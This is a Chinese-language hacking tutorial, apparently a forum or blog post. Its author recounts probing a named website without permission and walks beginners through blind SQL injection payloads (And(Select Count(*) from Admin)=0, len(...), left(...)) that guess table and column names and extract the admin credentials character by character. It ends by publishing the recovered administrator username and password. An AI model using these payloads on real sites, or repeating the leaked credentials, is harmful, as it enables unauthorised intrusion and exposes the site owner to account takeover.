1-前言:
早上,没有什么事情做;觉得挺无聊的。无意中就点了www.cnlongker.com这个站点的LOGO。进去该站点。看起来站点设计的还可以。然后对他进行了测试(哎~老习惯了)
2-寻找注入点
http://long.zgwx.org/show.asp?id=390 (注入点)
他的站点上到处都是注入点。随便找都可以。
大家可以用 '号或者 and 1=1 或者 and 1=2来测试是否可以注入(页面正常返回就可以注入了。这样很容易懂吧)
3-对管理员用户名和密码进行猜解
A: 判断是否存在admin表名
语句:And(Select Count(*) from Admin)=0
在存在注入点的URL后面加空格然后加入语句。正常返回代表存在admin表名。如果不存在可以换其他的表名
比如admin_user
这些。尝试到为止。假如碰到一些其他的站点表名有点表态的可以考虑放弃吧。呵呵~`猜到你死!(又废话了)。
B:判断表名admin里是否存在name列名
语句:And(Select Count(name) from Admin)=0
正常返回代表存在admin表名里存在name列名。如果不存在可以换其他的列名尝试。比如ID
C:判断admin表名里有 password列名
语句:And(Select Count(password) from Admin)=0
正常返回代表存在admin表名里存在password列名。如果不存在可以换其他的列名尝试。比如PASS
到此为止。我已经判断了该站点存在admin表名。admin表名里存在name
password2个列名。接着来应该判断name列名里的第一个用户名的字符长度。比如jiaozhu这个用户名的话就是7个字符,判断字符长度语句如下:
语句:And len((Select top 1 name from Admin))1
这句语句的意思是:判断admin表里的第1个用户的name列名的字符长度
注释:top 1 是代表第1个用户你。Admin))1 这里的1是代表探测字符长度为1
你可以该成5、6、7、8等都可以。
当然,判断password这个列表里的第一个用户的字符长度是多少也可以用这个语句。稍微改变一下就可以了,语句:
语句:And len((Select top 1 password from Admin))1
一直判断到正确的长度值是多少,就可以进行猜解用户名与密码。(页面正常返回就是正确长度)
我判断了该站点name列名的长度是6。我接着猜解第1个字符是什么。
语句:
and left((Select top 1 name from Admin),1)=a
这句语句是意思是:判断第1个用户的用户名第一个字符为a
如果页面错误的话。可以换成b、C、D、E、F 一直猜解下去。
很快。我已经猜解出第一个字符是s
接下来猜解第2位字符语句有点改变,
and left((Select top 1 name from Admin),2)=sa
为了菜鸟容易理解,我解释一下:
我把Admin),1)这里改成了Admin),2) 就是说准备猜解第2个字符。
)=sa 意思是:已经猜解到第1个字符为S第2个字符我用A来猜解
如果A不对可以换其他字符来猜。直到页面正常返回。现在你已经明白了如果猜解要猜解第3个 字符应该怎么修改了吧!:)
很快,我便猜解出用户名为: samuel
现在我们应该到判断密码的字符长度是多少了。
语句还是一样。把列表里的name改成password就可以了!
语句:And len((Select top 1 password from Admin))1
这个不用解释了吧。和判断name列名的长度方法是一样的。
我得到了该站的密码长度是19
那么就进行猜解密码。语句和方法与猜解用户名的方法一样。
只是把猜解语句里的name改成password
语句:and left((Select top 1 name from Admin),1)=a
就一直猜解吧!呵呵~如果遇上一些特长的密码的话,那是你倒霉了。你自己慢慢猜吧!呵呵~~~
经过半小时的猜解,得出www.cnlongker.com 的管理员用户名为samuel
密码为:!@#$%^&*()cnlongker